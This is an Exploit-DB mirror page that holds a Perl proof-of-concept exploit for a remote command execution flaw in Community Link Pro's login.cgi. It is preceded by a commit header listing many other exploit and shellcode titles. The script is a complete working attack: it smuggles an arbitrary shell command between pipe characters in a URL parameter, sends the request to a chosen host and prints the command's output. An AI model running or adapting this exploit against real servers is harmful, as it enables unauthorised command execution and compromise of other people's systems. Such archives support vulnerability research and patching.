exploit-db-mirror/exploits/cgi/webapps/25920.pl
Offensive Security 880bbe402e DB: 2019-03-08
14991 changes to exploits/shellcodes

HTC Touch - vCard over IP Denial of Service

TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities

PeerBlock 1.1 - Blue Screen of Death

WS10 Data Server - SCADA Overflow (PoC)

Symantec Endpoint Protection 12.1.4013 - Service Disabling
Memcached 1.4.33 - 'Crash' (PoC)
Memcached 1.4.33 - 'Add' (PoC)
Memcached 1.4.33 - 'sasl' (PoC)
Memcached 1.4.33 - 'Crash' (PoC)
Memcached 1.4.33 - 'Add' (PoC)
Memcached 1.4.33 - 'sasl' (PoC)

Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow

man-db 2.4.1 - 'open_cat_stream()' Local uid=man

CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation

CDRecord's ReadCD - Local Privilege Escalation
Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH)
FreeBSD - Intel SYSRET Privilege Escalation (Metasploit)

CCProxy 6.2 - 'ping' Remote Buffer Overflow

Savant Web Server 3.1 - Remote Buffer Overflow (2)

Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow

Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow
QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit)
Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit)
Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit)
Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass)
TeamCity < 9.0.2 - Disabled Registration Bypass
OpenSSH SCP Client - Write Arbitrary Files
Kados R10 GreenBee - Multiple SQL Injection
WordPress Core 5.0 - Remote Code Execution
phpBB 3.2.3  - Remote Code Execution

Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator)
Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
2019-03-08 05:01:50 +00:00

77 lines
No EOL
2.1 KiB
Perl
Executable file

source: https://www.securityfocus.com/bid/14097/info
Community Link Pro is prone to a remote arbitrary command execution vulnerability. This issue presents itself due to insufficient sanitization of user-supplied data.
Due to this, an attacker can prefix arbitrary commands with the '|' character and have them executed in the context of the server.
#!/usr/bin/perl
# ___ ___ __
# \_ |__ _____ __| _/______ ____ _____/ |_
# | __ \\__ \ / __ |\_ __ \/ _ \ / _ \ __\
# | \_\ \/ __ \_/ /_/ | | | \( <_> | <_> ) |
# |___ (____ /\____ | |__| \____/ \____/| | Security Group
# \/ \/ \/ ||
# \/
# Login.cgi Remote Command Execution PoC Exploit
# by: spher3 - spher3@fatalimpulse.net
# www.badroot.org
use strict;
use IO::Socket::INET;
sub USAGE()
{
print "USAGE:\n",
"perl $0 [host] [path] [cmd]\n\n",
"EXAMPLE:\n",
"perl www.site.org /webeditor/ \"uname -a\"\n\n";
exit 0;
}
USAGE unless $ARGV[2];
my $host = $ARGV[0];
my $path = $ARGV[1];
my $cmds = join ( '%20', split ( / /, $ARGV[2] ) );
my $vuln = $path . "login.cgi?username=&command=simple&do=edit&password=&file=|" . $cmds . "|";
print "Badroot Security Group - www.badroot.org\n",
"Login.cgi Remote Command Execution\n\n",
"- Target: $host\n",
"- Path: $path\n\n";
my $sock = IO::Socket::INET->new ( PeerAddr => $host,
PeerPort => 80,
Proto => "tcp",
Type => SOCK_STREAM ) || die "Error: $!\n";
print $sock "GET " . $vuln ." HTTP/1.1\n\r",
"Accept: */*\r\n",
"User-Agent: Bad\r\n",
"Host: $host\r\n",
"Connection: Keep-Alive\r\n\r\n";
my $lE = 0;
while ( <$sock> )
{
if ( $_ =~ /<\/textarea/ )
{
$lE = 0;
close ( $sock ) && exit 0;
}
print $_ if $lE == 2;
++$lE if $lE == 1;
if ( $_ =~ /<textarea/ )
{
++$lE;
}
}